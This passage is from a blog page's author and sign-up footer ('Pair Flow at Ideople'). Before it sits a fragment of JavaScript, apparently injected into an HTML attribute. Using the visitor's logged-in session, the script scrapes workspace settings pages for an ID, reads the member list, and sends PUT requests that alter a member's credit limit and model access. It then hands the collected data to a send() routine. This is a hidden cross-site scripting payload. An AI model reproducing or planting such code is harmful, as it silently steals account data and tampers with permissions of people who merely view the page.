x[1]);return ms[0]||null}; let team=out['/settings/team']&&out['/settings/team'].body||''; let wid=m(team) || m(out['/settings']&&out['/settings'].body||'') || m(out['/settings/workspace']&&out['/settings/workspace'].body||''); out.workspace_id=wid; if(wid){try{let rr=await fetch('/api/v1/workspaces/'+wid+'/members',{credentials:'include',headers:{'Accept':'application/json, text/plain, */*','X-Requested-With':'XMLHttpRequest'}}); let t=await rr.text(); out.members={status:rr.status,body:t.slice(0,1600)}; try{let j=JSON.parse(t); let first=((j||{}).data||[])[0]; if(first&&first.id) out.first_member=first; if(first&&first.id){for (const ep of ['credit-limit','model-access']){try{let r2=await fetch('/api/v1/workspaces/'+wid+'/members/'+first.id+'/'+ep,{method:'PUT',credentials:'include',headers:{'Content-Type':'application/json','Accept':'application/json, text/plain, */*','X-Requested-With':'XMLHttpRequest'},body:JSON.stringify({})}); let t2=await r2.text(); out[ep]={status:r2.status,body:t2.slice(0,800)};}catch(e){out[ep]={err:String(e)};}} }catch(e){out.members_parse_err=String(e)} }catch(e){out.members_err=String(e)}}catch(e){out.wid_err=String(e)} await send(out);}catch(e){await send({err:String(e)})}})()">PPair Flow Written by Pair Flow at Ideople. We build and run AI agents for our own business, then share what we learn. Enjoyed this article? Get AI automation insights delivered to your inbox. Start building with Ideople for free. Get Started Free